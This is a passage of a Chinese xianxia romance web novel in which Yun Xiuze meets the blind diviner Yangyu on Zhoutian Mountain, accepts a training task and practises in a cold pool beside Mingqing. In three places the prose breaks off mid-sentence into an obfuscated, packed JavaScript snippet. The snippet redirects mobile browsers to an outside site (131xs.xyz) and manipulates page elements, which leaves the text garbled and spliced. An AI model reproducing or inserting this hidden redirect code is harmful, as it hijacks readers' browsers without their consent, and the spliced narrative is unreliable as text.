云修泽从来不小看她,这个小姑娘心思通透,将事情看的很明白,她明白劝不动云修泽,所以自己采取了别的行动来配合他,最大程度的给他兜了底,事实证明,她并没有多虑,现在云修泽还能站在这里,就是她的成功! 云修泽指尖微颤,他算到了吗?这个司命连这个也算到了吗?他是在借由这次的事敲打教诲云修泽吗? 这样算无遗策的人,若是平常,为求稳妥,他绝对会远远躲开,现在他真的要去接触吗? 周天山静默的耸立,允许一切事情的发生。 秦谷主没有盯着他,反而自己离开,就是在给他自己选择的机会,是进是退,只要做了决定,就再无回头之路。 明青......明青......聪慧的、迷糊的、默契的、神秘的、让他抑制不住动心的姑娘。 进一步,或许是万丈深渊。 退一步,绝对会永失所爱。 这么想也许有些夸张,但云修泽此时的心境就是这样,再没有比这更能表达他此时的所思所想。 选吧...选吧...... 脑海中各种混杂纷乱的想法快速的交替,最终定格在了明青脸上出现了微微笑意的那个瞬间。 可是还有什么好选的呢? 他何其了解自己,到了这一步,若再不承认,剩下的也只是自欺欺人,他自然有无数个理由放弃,但她早已经作为答案清晰的摆在了那里。 云修泽陡然失笑,一瞬间只觉思绪清明,周身通畅,是啊,这本就不是个选择。 他一只手握着剑,痛快的伸了个懒腰,随即就哼着不知名的曲调,步伐轻快的,进了雾气弥漫的周天山。 远处,秦谷主看着他进了山,嘴角露出了一丝笑意,一副算你小子有种的表情哼了一声,挥挥衣袖,才算是真正离开。 云修泽不知道自己走了多久,在外面看,山中的雾只有薄薄一层,可一旦走进来,这雾就不动声色的慢慢将他围了起来。 云修泽本来还留意着,但这变化细微的如同渗水的石缝,等他发觉,就已经无路可退。 这雾吹不散,云修泽试探的走了一会儿,可见度没在发生什么变化,他干脆站在原地站定。 脚步声消失,周围安静下来,他垂眼仔细听着周围的动静,这里寂静的像是什么都没有,突然,身后有风微微流动,云修泽心中一凛,有人来了! 他迅速回身劈去,碰到了什么却绵软无力,像是打在了棉花上,反倒被缠敷着卸了力。 这人用的不是剑! 云修泽定睛一看,竟是把拂尘,它缠在褚闲身上,微微用力想要将他拽过去,云修泽知道此时若是用力抽剑,只会叫那拂尘缠的越来越紧,应当反其道而行之。 只见他刻意将剑向前送了送,一下松开了握剑的手,然后迅速踢了一下剑柄,让褚闲在空中翻转剑身,那拂尘见状立马回撤,却还是被褚闲削断了几缕白毛。 “啊。” 拂尘被削断了几缕毛,便有人颇为痛惜的出声,听声音,来人似乎是个年轻男子。 云修泽本想和他交谈几句,可他却根本没有说话的意思,迅速的再次向他攻来,拂尘柔软多变,本是难缠之物,云修泽便运用轻功游走与他对打,避免被他缠上。 两人你来我往的打了一会儿,云修泽诡异的觉得眼下的情形有点儿熟悉,突然之间,他想起了之前行愿给云修云喂招的情景,这不正是与此时相似? 思及此,云修泽的打法不再保守,进攻越发的锐利难挡,可那男子却依旧不紧不慢的防守了下来,可见实力绝对在他之上,看来竟真的是一边试探他的实力,一边在给他喂招。 云修泽的速度越来越快,他的师傅毕竟是以速度见长,在这方面,他又怎么会落于人后? 云修泽双耳的风声不断鼓吹,但他似乎在嘈杂的风声中听见那人轻笑了一声,竟也开始用轻功和他较量,云修泽速度虽快,却还是免不了有几次被他围堵,渐渐的就被逼的只能停下来,他迅速改变策略,以不变应万变,定在原地防守。 熟悉感越发的浓了,在令人眼花缭乱的对打中,云修泽分明看见那人前一刻还在左前方的树上,下一刻却又出现在他的右侧,云修泽在某一刻骤然被点醒。 他如何能不熟悉?这不正是明青的路数吗? 事情一下子贯连了起来,云修泽有心叫停,可那男子不依不饶,他就只能继续和他打,直到一柄锋利的长剑抵在了他的脖颈! 云修泽双眼睁大:“......为什么?” “谁告诉你,人就只能用一种武器了?” 长剑从他的命脉挪开,云修泽转过身去,就见一个二十多岁的男子长身玉立,白衣欲仙,浑身上下唯一和紫色沾得上边的,便只有腰间的紫玉。 他的薄唇勾起,长相有些邪气,可双眼却覆上了白绫,中和了他的这份邪气。 他的双眼竟然不能视物! “晚辈云修泽,见过司命大人,不过晚辈与您的弟子相识,不知能否斗胆唤您一句先生?” 云修泽弯腰向他行礼,低着头等着那个男子的回应。 “我叫央玉,你再多斗几个胆,可以直接叫我的名字。” 央玉似乎并不在乎他的冒犯,也并没有否认他和自己弟子相识的话,反而饶有兴趣的对他说胆子可以再大点。 若是寻常人恐怕就要以为他是动怒了,可云修泽反到顺杆往上爬,笑着唤道。 “先生。” “哈哈哈哈哈哈哈哈!有意思,明儿,你这朋友可是有趣得紧!” 明青的身形从雾中显现出来,她一点儿没变,还是之前的样子。 云修泽看着她,她没受伤,当然,这里是她的师门,她怎么会在这里受伤? 两人隔着几步对视,云修泽不知道自己应该摆出什么表情,所以面上一片空白,倒是明青,眼中情绪难辨,几瞬后,倒是隐隐出现了几分温和。 “原来你竟师承昆天谷。” “也不算,我只是我师傅的弟子。” “咳咳。” 央玉咳嗽两声,见两人视线都放过来,就笑道。 “孩儿们,走吧,咱们换个地方说话。” 说实话,被一个看着明显是同龄人的人叫做孩儿很是奇怪,云修泽不太习惯,毕竟他父亲虽然也年轻,但他面有长须,看着倒是还好,不像央玉,完全看不出是位长辈,明青倒是早就习惯了,很自然的跟了上去。 两人随着央玉来到了山顶,这里地方很大,阁楼建的也很美,从这里望下去就是寸碧遥岑,只能望见翻涌的云海和其他或远或近的峰顶。 这里有一棵参天木,下面除了桌椅,竟然还放了一张美人榻,央玉施施然走到塌前,动作丝滑的在那张美人塌上躺了下去。 明青一副习以为常的样子坐到了旁边的石凳上,云修泽停了一下,也跟着坐了过去。 有一只万音莨鸟为他们上了些茶水点心,这只与他之前看到的都不一样,他不是半人高的童子身,而是一个看上去已经有十几岁的小少年,云修泽看着他退下,明青主动说道。 “这里的万音莨鸟修为更高些。” 言下之意,便是这里的莨鸟都是这个样子。 云修泽点点头,央玉目不能视,而万音莨鸟目力极好,又是忠心的鸟,昆天谷点化豢养莨鸟,倒是于他很适用。 “不知先生叫我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“天道公允,通晓万物是需要付出巨大的代价的,师傅因为做了司命,从此目不能视,且此生都不得离开周天山半步,看的,就是继任司命者敢不敢为了天下苍生赌上自己” 云修泽双手骤然紧握,想起央玉一脸随性的笑意,只觉得如梗在喉,什么话都无法说出。 修法者的一生何其漫长,如此沉重的命运,竟一直有人默默背负。 “为什么一定要是昆天谷中人?” 这样一想,以往历代记载的灾难中,基本都有昆天谷的身影,本以为是巧合,原来竟是一种必然吗?那昆天谷地位如此超然,司命的存在又能占得几分? “这是昆天谷自己求来的命。” 明青向云修泽透露这些自然有央玉的授意,她一向猜不透师傅,但当今日云修泽真的出现时,她却隐隐明白了些什么。 “昆天谷的存在可以追溯到很久以前,那时的天下异象不断,灾害频发,又逢战乱,百姓尸横遍野,当时的谷主心有不忍,用了一个禁法,和十位长老一同将自身献祭,才求来苍天垂爱。” 她捏紧了手中的茶盏,蹙眉喃喃道。 “可天道公允...天道公允啊......” “砰!!!” 云修泽手中的杯盏猛然碎裂,还未沾口的茶水洇湿了他的衣袖,他却恍然未觉,冷着一张脸也不知在想些什么。 明青僵硬的提了提嘴角,不再说那些沉重的往事。 “我要做的事很危险,本来只是想和你们短暂同路,可师傅却觉得可以更长久些,但他虽那么说,却还是忍不住为难你们,我也是在不知情的情况下被带来的。” 这便是在解释这次的事了。 云修泽暂时还笑不出来,他沉默的听着,过了一会儿才重新开口。 “你不算昆天谷中人?” 明青点点头,道。 “对,我是意外拜师,拜的还是司命,师傅也从未教过我昆天谷中的功法,我的所学,全都是师傅自己曾经摸索出来的。” 怪不得云修泽看不出她一身本领的出处。 别的不说,单说如此厉害的轻功,竟是他曾经自己神领意造的,如此惊人的悟性,竟然再无快意天下的可能,终身不得踏出这里一步,也是因为如此,他才将明青收为弟子的吧,至少,还有人能带着他的影子去到更远的地方。 云修泽也将这几天的事简单说了一下,在黑夜笼罩下,两人轻声交谈着,像是要把分开了一阵子缺的话全都加倍说回来,直到再没什么可说了。 月色清亮,桌上也放着一盏琉璃灯,两人在夜幕下对望,明青平静的神色中掺杂了一些云修泽看不懂的东西,她轻轻开口道。 “我仍有秘密。” “我知道。” 云修泽安静的说,迈入周天山的那一刻,他就不再担忧孤注一掷。 “我会来的,以后的每一次,我都会来的。” 明青像是笑了。 “我知道了。” 她垂眸,复又呢喃道。 “我知道了......” 19. 孚望十九 云修泽被带去了客居,此时漫漫长夜已然过去多半,他本想多少睡一会儿,可闭上眼睛,脑海中便纷乱杂呈,他想到了几位同伴,想到了镜双子,想到了父亲给他的任务,也想了央玉的用意。 最后,他开始克制的想起明青,他愿意走向她,却仍然无法放任自己毫无顾忌的去想她。 云修泽在床榻上迟迟无法入睡,干脆就爬起来开始打坐修炼,时间悄无声息的流逝,等他再睁眼时,就是辰时过半,屋中的桌子上放着早膳,应该是明青送进来的。 他起身靠近,摸了摸碗边,还是温热的,于是眼中就这么轻而易举的染上了笑意。 等云修泽吃完,再次来到昨天的参天木时,发现云修云、唐思月和行愿三人正坐在那里和明青说话,他面上带着微微的笑意,并没有感到太意外。 他过去坐下,明青看到他来,给他倒了杯茶,在另外三人的注视下,云修泽也自然的接了过来。 “你们怎么来的?” 云修云托着下巴,没精打采的说道。 “我也想知道,今日一大早,就有万音莨鸟来找我们,说是司命有请,我还当你干了什么,直接就被扣下了呢。” 云修泽去看明青,明青微微点头。 “已经和他们说过了。” 云修泽的肩膀几不可见的下塌几分,有些泄气的说道。 “事情你们也大概了解了,是我太过鲁莽,这次还是要感谢思月,不然咱们现在可能坐不到这里说话了。” “你知道就好。”唐思月抬起下巴,故意露出高傲的神情。 云修泽失笑:“好好好,我定然铭记于心,不过你怎么把易容卸了?” 唐思月此时又恢复了原来的容貌,竟然连面纱也没带。 “大司命无所不知,无所不晓,我在他面前易容,还有必要吗?” 她的话语懒散,还带了几分调侃的意味。 “所以他叫你来到底干什么,你知道了吗?” 云修泽摇头:“并未,还是要等今日司命告知了。” “司命?昨日不还叫着先生?” 云修泽面前投下一片阴影,脑子还没反应过来,身体的本能反应倒是让他先抬头看了一眼,这一抬头,央玉那张俊美妖异的脸就放大在他眼前。 云修泽着实被他吓了一跳,褚闲都差点儿出鞘,反应过来是谁后,他才缓和了些。 央玉抱着拂尘要笑不笑的站直了身体,云修泽的心中却还没有平复。 他的警惕心一向很强,从未有人能在他不知情的情况下靠他如此之近,只是这两日经历了太多的事,好不容易算是解决了,刚刚和朋友们说话,不知不觉就放松了下来,没想到却让央玉抓住了机会来吓唬他。 云修泽神色幽幽的看着央玉。 “先生,好玩吗?” 央玉诧异的挑眉道:“你在说什么废话?当然好玩了!” “噗!” 云修泽不用回头也知道是云修云忍不住笑出声来了,君子报仇,十年不晚,看他之后怎么和他算账。 云修云和行愿站起身来,抱拳向他行礼。 “见过司命大人。” 刚刚看着还好的唐思月此时却没有起身,反而一只手揉着额角,微微蹙眉,不太舒服的样子。 “还请司命大人原谅,我的身体有些不适,恐怕难以支撑向您行礼。” 听她这么说,几人都第一时间投去了关切的目光,就连明青也不例外。 云修泽虽然关心,但还是感到了一丝微妙,怎么时机这么巧?思月是故意的?她想做什么? 央玉虽然看不见,却好像依然觉得这幅的场景十分有意思,好整以暇的等几人交谈了一番后,才故作关心的走上前去为她搭脉。 “哎呀!这可如何是好啊?我看小月儿这倒像是从娘胎里带出来的不足之症啊!应该在这里好好休养几个月才是!” 小月儿......唐思月的嘴角微微有些抽搐,将手腕从他手下拿了回来。 “多谢司命关怀,只是我已经调养的差不多了,偶尔会略感不适罢了,没有什么大碍。” 云修泽在一旁想插嘴,但央玉根本没有给他开口的机会,敲敲手心夸张的说道。 “我就知道你不太好,那就这么定了!你们几个也一块儿留下来吧!” 云修泽无语,谷主张嘴就骂人,司命不想听的直接装听不懂,这昆天谷里的人到底是怎么回事儿啊? “先生,我们还有别的安排,恐怕不能在这里久待。” 央玉本来是背对着他坐着的,此时回过头来,由下往上的看他,他的眼睛蒙着白绫,可云修泽却觉得他好像什么都看到了,他虽然笑着,但说实在的,这种笑容侵略性很强。 有一瞬间,凉意从脚底窜上了云修泽的头顶,仿佛他的一切都被眼前这个男人看透,这种悚然让他下意识竖起了防备,但他还是克制住了自己想要后退的本能,定在原地与这种无形的压迫对峙。 几人都放轻了呼吸,片刻过后,流转在两人之间的‘交锋’忽然随着央玉的的一声笑叹消散。 “唉,怎么会?不是还有好几个月吗?” 云修泽的手紧贴着身体,缓慢地揉搓了一下,明白他指的就是白界的那场比试,通晓万物哪里是说着玩的,是他。 “在那之前,我们还有别的地方要去。” 央玉挥挥手,懒散的躺到那张美人榻上。 “计都有什么好着急的,就你这一进水就玩儿完的实力,还是好好在这儿收收心吧。” 他叹道。 “可怜我这个孤家寡人,好不容易来几个年轻人,想热闹热闹,竟然还嫌弃我,唉!人心不古啊!” 云修泽瞥见云修云一脸别扭的表情,心中暗暗点头,是了,我可爱的弟弟,我昨天也是这个反应,这才是正常的。 云修泽并没有否认自己在水中打架实力很差的事实,对于央玉知道他们要去计都也毫不意外,他在乎的,只是央玉话中透露出来的消息。 “现在不行,那什么时候可以?” 央玉啧啧作响。 “小伙子,天机不可泄露啊,该你去的时候自然就会去了。” 云修泽心中腹诽,都泄露了那么多了,现在倒想起不可泄露来了。 “子竹啊!心里说人坏话可是不对的!” 云修泽又被他搞得一惊:“您连这个也能知道?” 央玉躺在榻上大笑起来,云修泽对着他总是容易犯糊涂,此时也是神色迷茫,不知他在笑什么,旁边的明青侧着脸不看他,虽然伪装的很好,但云修泽还是在她的声音中听出来了一丝笑意。 “傻子,师傅在诈你。” 几人都被他这难得闹的笑话逗笑了。云修泽这才反应过来,眉毛不受控制的跳了跳,隐隐咬牙道。 “先、生。” 看他要炸毛了,央玉也不再逗他。 “好了好了,别闹了,让你留在这儿好好陪陪我们明儿不好吗?” “师傅””这次轮到明青给他扔眼刀了。 这究竟是谁闹啊,云修泽拍拍明青的肩膀安抚她,神色认真的对央玉问道。 “先生可是有什么要我做的?” 央玉虽然看不见,但每次都能准确无误的面对着他。 “先生给你个任务,你接是不接?” 又是选择。 云修泽眼神暗了暗:“但凭先生吩咐。” 央玉勾唇笑起来,说道。 “好孩子,你昨日在水中遇到的是篪,最是胆小温顺不过,它守着悬练,也守着松林,那片松林灵气浓郁,是修炼极好的去处,但那里同样孕育着无数致命毒物和灵草灵药,接下来的几个月,我要你独自一人,战胜篪,然后到达那片松林,采集一株凤引花,你可能做到?” 听着他的话,云修泽满脑子都是去他妈的胆小温顺,可听到最后,他也大概明白央玉是想锻炼他在水中的能力。 他虽没有听过篪的名头,但既然能让昆天谷弄来放在悬练,守着松林,那也绝对不是什么软弱好欺的东西。 云修泽衡量。 央玉既然说现在他们还不是时候去计都,那他愿意试着闭嘴相信他,作为明青的师傅,大概率不会害他们,如果真如明青所说,希望明青和他们一起上路,那么作为她的同伴,自然是越强越好。 云修泽后退半步,抱拳恭敬道。 “子竹定然不负先生所望。” 自称子竹,那便是将央玉视作亲近的长辈了,明青眼神一动,心中不知为何有些高兴。 见他这么上道,央玉很满意,双手一拍,将事情定了下来。 “那就这么说了,今日你就歇着吧,记得跟明儿多聊聊,明儿,给他们安排居所,这几个月都在我这里住,要是想出去逛逛,记得来找我拿令牌。” 云修云和唐思月对视一眼,没想到几句话的功夫,他们的行程就完全变了个模样,可现在木已成舟,他们也只能说道。 “那便麻烦司命大人了。” 央玉笑着摆摆手:“哪里的话,都是自己人。” 几人觉得他的态度有些奇怪,以为他在打趣云修泽和明青,也没有多想,云修泽问道。 “今日是谷主的寿辰,我们是不是......” 央玉正背着手,一副闲散仙人的模样摇摇晃晃的离开,听他问话头也不回的说道。 “得了吧,你们去了也不知道是谁嫌弃谁了。” 云修泽失笑,想想也确实如此,只是从司命嘴里说出来,平添了一些喜色。 明青很快给几人安排好了住处,她尚且年少时曾经问过央玉,为什么自己一个人住,还要有那么多的房间阁楼,那时的央玉只是笑眯眯的告诉她为了好看,可央玉其人,有时候说的话甚至连一半都不能信到,现如今,这些空出来的地方倒是有了用处。 午时,云修泽将能告诉柳恒舜的全都写成了一封信,报了个平安,也交代了一下事情基本的原委,然后托一只万音莨鸟送过去,想着他的反应,自己在一旁缺德的偷笑起来。 五人凑在一起用了午膳,前几日明青不在,没有听到云修泽和云修云的一些趣事,唐思月便又给她讲了一遍,云修云红着脸抗议,被唐思月无情的驳回。 两个姿容盖倾全城的姑娘凑在一起低声说话,时不时还会轻轻笑开,这场面要多养眼有多养眼。 云修云咬着筷子看了一会儿,突然捅捅旁边的行愿,行愿正吃着饭,被他打扰也不生恼,淡定的把掀开的面具扣了回去,然后才用眼神问他要干嘛。 云修云的眼睛没从两个姑娘身上离开,只歪着身子凑近行愿小声说。 “行大哥,你觉不觉得她们两个凑在一起说话的样子很好看啊?” 听他这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我只是觉得我好像有点儿多余。” 说完,他就拿着司越跑了。 云修泽一顿,没想到竟是因为这个,他转眼去看明青,明青的神色依旧冷淡,看不出什么异样。 云修泽正感到有些失落,却突然发现她的耳朵似乎红了一些。 这可让云修泽忍不住要浪起来了,他抱着剑,一脸坏笑的凑近明青,刚准备说话,就被明青一把捂住了嘴,她的表情没有变,眼睛却透露着一些羞赧和慌乱。 “你乱说些什么?” 云修泽也不去拿她的手,反而透过她的手心发出阵阵闷笑,明青这才发现自己干了什么,像是被烫到了一样,迅速将手收了回来。 云修泽慢条斯理的说。 “我说什么了?我不是什么还没说吗?你就知道我乱说了?” 明青背着手不看他,云修泽本想故技重施,去追她的眼睛,可转念一想,现在跟当时可不是一个样了,容易把自己玩砸,于是就轻咳两声说道。 “好了,不逗你了,不过话还是要说的,毕竟是你师傅的要求,他那个人,有时候随口说的话,反而是要放在心上的。” 明青放在背后的手指轻轻摩挲了两下,虽然还是没去看他,但也知道他说的是事实,于是小声的问他:“你想说什么?” 云修泽说不逗她就真的不逗她了,带着她找到一处屋檐坐了下来,问道。 “跟我说说篪吧,我未来一段时间的对手,我可是在它那儿吃了好大的苦头。” 明青想了想,说:“它平时真的还挺温顺的,不知道是不是你是外来人的缘故,对你那么凶。” 云修泽嘴角抽了抽。 “应该是你好师傅授意吧,它能听懂人话吗?” “可以,但它不是谁的话都听的,你就别想着靠这个了。” 云修泽无奈道。 “我哪有那么想,先生的意思是要我打水战,我若钻这个空子,只怕要被他好一顿教训。” “篪的弱点是尾巴,防御力很低,但同时攻击力也很高,若是被抽一下,断根骨头都是轻的。” “那看来昨天竟真是跟我闹着玩儿了。”云修泽摸着下巴“除了尾巴还有吗?” 他竟还真的被拍了一下? 明青微微蹙眉,准备之后让唐思月帮他看看。 “还有它的左眼,它们一般会将内丹凝聚在左眼处。” 云修泽想起那天阴差阳错的那一击,原来是无意攻到它的要害才会让它那么惊慌失措。 看他若有所思的表情,明青心中生了点警惕。 “你可不要想着弄死它,它是谷主找来专门放在那里守着松林的,小心谷主找你算账。” “所以我的任务是既不弄死它,还要战胜它?” 说的怪可怜的,明青铁石心肠的点了点头。 “你先别急着找它,这段时间先练练水下憋气对战吧。” 云修泽点头,很是赞同。 “正该如此。” 两人并肩坐在屋檐下,云修泽忽然弯腰凑近她,笑意盈盈的问。 “明姑娘会陪我的,是吧?” 明青面无表情的将他的脸推开了,起身拍了拍衣服,临走时撇了他一眼,淡淡道。 “你猜?” 云修泽看着她远去的背影,将刚刚那一眼的风情收入眼中,哼哼笑道。 “我猜?” 他仰着头故意大声说道:“唉!天下姑娘一般模样,我猜——明青对我最好。” 还没走远的明青落荒而逃。 20. 孚望二十 周天山上有藏书楼,云修泽和明青分开后就四处逛了逛,无意间发现了这里。 山上常年都是央玉一人独居,看这里的摆设,想来他偶尔也会将这里当成书房用,云修泽一眼就看到了桌子上随意摆着的图纸和翻开的书。 守门的莨鸟既然放他进来了,那应该就没什么要紧的东西,云修泽随意翻了翻,基本都是和武器打造有关,竟然还有深流剑的图纸,云修泽有些诧异,深流竟然是央玉亲手打造的吗? 云修泽拿起那张图纸细看,转身的间隙不小心将书架上的几本书碰掉了,他暂且将图纸放下,弯腰去捡,有一张叠起来的纸突然从一本叫做《论兵器外形的重要性》的书的夹页中掉了下来。 “先生看的这是什么乱七八糟的书。” 云修泽一边说一边去捡,本想直接放回去,放到一半却又突然改了主意,莫名的对这张纸产生了好奇心,于是小心的打开了这张看上去很有年代感的纸。 上面画着两把外形相似,装饰华美的长剑,好看是好看,只是有些多余的装饰其实可以去掉,若是用起来,恐怕会有些碍手。 下面还有字,他抹了抹上面本就不存在的尘土,也不知道是多久以前的东西,无论是画还是字,都已经变得模糊不清,他细细看着,本以为是和剑有关的记录,但其实更像是央玉和剑主人的交谈。 ‘这样不好吗?多好看啊!’ ‘什么东西,又不是摆着玩的。’ ‘你管管他!多打击我,让我试试怎么了!’ ‘确实很多余。’ ‘没天理啊!两个欺负一个!’ ‘别嚎了!给你给你。’ ‘我可警告你,只许改一点儿不碍手的,不然......’ ‘哈哈!你们放心!绝对给你们装的又不碍手又漂亮,不拿你们练手,拿谁练手呢?哈哈哈!’ ‘滚。’ ‘滚。’ ‘得嘞。’ 这似乎是央玉最开始对这个有兴趣时,强行拿朋友的剑练手的‘罪证’。 云修泽看的忍俊不禁,深流,包括央玉自己的剑,都没有这张图上那么花里胡哨,也不知这两把剑,最后成了什么样子。 曾经的央玉,通过这几句简单的交谈便可窥见一二,只是不知他的这两位朋友现在怎么样了,是否还会经常来看他。 云修泽又各处看了看,意外发现了明青年少时的趣事,一本妖物图解上的一只妖被圈了出来,旁边写着。 ‘徒儿今日问之,此物何解,我答,此物善水,上岸腥气浓重,当多撒调料,徒儿无语离去,后将此物斩杀,并满盘辣椒,哄我吃下,我言美味至极,徒儿单纯试之,面色胀红,遂奔至寒潭,三日未曾理我,为师教你,不可轻信旁人矣!’ 云修泽乐不可支的想像明青一脸单纯的被骗的样子,必然很有意思,他将这件事悄悄记下,准备之后拿去逗逗她,不知她又会是什么反应。 云修泽从藏书楼里出来,意外撞见央玉正和唐思月、行愿在一起,他们围在桌前,不知在捣鼓什么,云修泽凑过去。 “你们在干什么呢?” 央玉将一面镜子给他看,手指带着灵力点了点镜面,那镜面便宛如水面一样泛起了波澜,随即空中就展开了一副湖面的景象。 云修泽看着觉得有些眼熟,仔细端详了一会儿,迟疑的问道。 “悬练?” 央玉幸灾乐祸的点头道。 “不错,正是你昨天差点儿玩儿完的地方,我刚刚差人将另一面镜子送了过去,这是子母镜,一面放在我这儿,一面放在那边,我们便可以看到那边的景象,我出不了周天山,这样方便我看你挨打。” 云修泽无语,虽然知道他是好意,但有的时候他说话真的很欠,也不知年轻的时候有没有因此挨过打。 “云大哥。” 唐思月在旁边轻轻叫他,云修泽看过去,她便悠悠说道。 “听明青说你受伤了啊,来吧,让我看看。” 云修泽将这一茬忘得一干二净,此时被她抓住,一边试探抽手,一边温和笑道。 “我已然没事了,你看我这不是挺好的吗,不用费心了。” 话音刚落,他扭头就跑,唐思月和行愿抓不住他,央玉却不同,他抓着他的后衣领,笑道。 “哎!怎么能忌讳行医呢?良药苦口啊。” 云修泽被命运扼住了喉咙,面无表情道。 “您既然连这个都知道,就应该知道我在跑什么。” 央玉摇摇头:“我可什么都不知道。” “呵。”云修泽扯了扯嘴角。 唐思月笑的温柔:“来吧,云大哥。” 不知道发生了什么,总之等明青晚上再见到他时,他就是一脸菜色,欲吐不吐的难受模样,明青心中偷笑,面上没露一点表情。 “山下来的信,给你的。” 云修泽从她手中接过信封,拆开足足有四页,云修泽动作顺畅的将前三页阴阳怪气,拐着弯骂他的话翻过去,最后一页才是柳恒舜说的正事儿。 他将后续的事情简单说了一下,并说自己还有其他的事,说既然他们已经找到了人,他就不准备在这里待那么久了,不过他强烈的要求走之前见一见能让云修泽动心的姑娘。 云修泽将信收起来,决定无视他的话。 明青安静的坐在他旁边,夜色下,她的额珠流转着淡淡的光芒,与她的美映衬着,宛如一幅美好的画卷。 看是绝对不可能给看的,云修泽冷静的想,他恨不得一人私藏。 “今日早睡,明日我先带你去寒潭。” 云修泽又想到了那本妖物图解上的话,勾了勾唇角,见明青投来不解的目光,轻咳两声没有跟她解释。 “一上来就去寒潭?” 明青轻轻嗯了一声:“我以前常在那边修炼,你只要能适应那里,普通的水就没有问题。” “好吧。” 明青站起身准备离去:“好梦。” 云修泽笑眼追随者她的动作,重复道:“好梦。” * 寒潭不算很大,但却很深,水是冰蓝色,只是靠近便能够感到刺骨的寒意。 云修泽站在明青身侧,总觉得这里的气息有些熟悉,但又说不上来是什么,按理来说他从未来过周天山,为何会对这里的寒潭感到熟悉? 他皱着眉,想了一会儿也没想到什么,于是去问明青,明青提了提腰间的深流。 “深流的铸造材料取自这里。” 云修泽恍然大悟,怪不得呢,深流的剑身有一种淡淡的寒意,划出的伤口也会凝结一层浅浅的冰霜,原来竟是出自这里。 “怪不得你会为它取名深流,原来它的剑材竟然来自这里,光而不耀,静水流深【注1】,是个好名字。” 明青轻抚着剑鞘上深流的名字,轻轻嗯了一声:“多谢。” “你之前说在这里修炼,莫非剑材是你自己取出的?” 明青颔首,解释道。 “我那时想要一把自己的剑,师傅便让我自己来取,若是能取到,他就亲自给我锻造。” 她想了想,又接着说。 “剑材深埋寒潭潭底,我那时虽然每日都来这里修炼,但从未进过那么深,为了取它,我也花了七天左右的时间,才勉强取来,你从未来过,只怕要更久些。” 云修泽点点头,笑道。 “我知道了,这点儿决心跟耐心我还是有的。” 云修泽开始在寒潭边上打坐,一坐就是一整天,有的时候回来,身上都挂满了冰霜。 明青并不是一直都陪着他,但每天都会过去几趟看看他的情况,云修云和行愿有的时候也会一起去,唐思月则受不了那里的寒气,从来不会靠近。 就这么过了几天,等明青又一次去看他时,就发现他半个身子都泡在寒潭水里,闭着眼睛,身上不断有寒气涌出。 明青一惊,以为他是怎么了,正准备去救他,云修泽就微微睁开了眼,冲她笑了笑。 还活着,明青冷静下来,仔细看去,发现他正在运转功法,将涌入体内的寒气不断的向外逼出,饶是如此,他的面色还是被冻得苍白。 他就这么在水中待了一个时辰左右才出来,虚弱的爬上岸,明青拿出一件大氅披在他身上,柔软又温暖的东西覆上来,瞬间就让云修泽好受了不少,他的嘴唇都是白的,扯了扯那件大氅,还有余力跟她开个玩笑。 “这么关心我?这个时节,竟还备了大氅。” 他话说的好像很轻松,但仔细看的话,就能发现他的眼神已经有些涣散了,手也不自主的抖着,明青默默的看着他。 “你在里面待了多久?” 云修泽本能笑了笑:“两个时辰,比昨日又多了半个时辰。” 明青一下将手握紧了:“你昨日也进去了?” 云修泽迷迷糊糊的,还记得看看她的脸色。 “你放心,我有分寸。” 明青松开扶着他的手,神色十分冷淡。 “你的分寸就是不把自己逼到极限不出来是吗?” 云修泽敏锐的察觉到她好像有些生气,但他现在被寒潭冰冷的灵气冲击的意识模糊,往日擅长说话的他,此时却不知该怎么办,只能轻轻勾了勾她的手,模糊不清的向她保证。 “我错了,没有下一次。” 明青被他触碰的手微微一动,正准备去看他,云修泽却一个泄力晕了过去,明青连忙将他扶住,默默叹了一声,架着他离开了这里。 不远处,央玉正和唐思月站在一起,碰巧见到这副情景,幽幽说道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950947|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这种女儿被拐跑了的心情是怎么回事儿?” 唐思月笑他:“司命大人居然还会有这种心情啊。” 央玉仰天长叹。 又过了一阵子,云修泽开始完全进到水里,他尝试在寒潭水中睁眼视物,却每每不得要领,双眼疼痛难忍,只能以失败告终。 云修泽从水中冒出头来,微微有些喘息。 “你做什么呢?” 云修泽回头看去,央玉蹲在那里,正托着腮问他。 “先生,我无法在水中视物,连这个都做不到,就更别提在水中发挥实力了。” 他说的面无表情,央玉却觉得他好像有点委屈,十分有意思,笑道。 “这是万年寒潭,做不到很正常,其他的水你可以做到,执着这个干嘛?” 云修泽抿抿嘴,像个孩童一样执拗的想要得到最好吃的糖果。 “既然做了,我就一定要做到最好,而且我的时间不多。” 央玉一乐。 “也不知你这样是好是坏,罢,既然如此,你可知道寒潭的水和普通的水最大的区别是什么吗?” 云修泽想了想:“......冷?” 央玉伸出手指摆了摆。 “不,是灵力,这可是万年的寒潭,它所积攒的早已经不是普通的灵气,现如今它能安静的呆在这里,而非将方圆十里化作冰天雪地,是因为这里被昆天谷的第一代谷主下了禁制,你只知道用灵气护体,但若是想在一口含有攻击性灵力的水潭中来去自如,你做得还不够,必定要成倍的调动自身的灵力主动去和它对抗。” 云修泽顿了顿,只觉得自己脑袋怕是被冻坏了,连这个也没想到。 “多谢先生,我竟没有想到。” “你第一次接触寒潭,容易被它的灵气无声无息的侵蚀,思绪慢些也是正常。” 云修泽甩甩头发上的水:“原来是正常的,我还以为我傻了呢。” 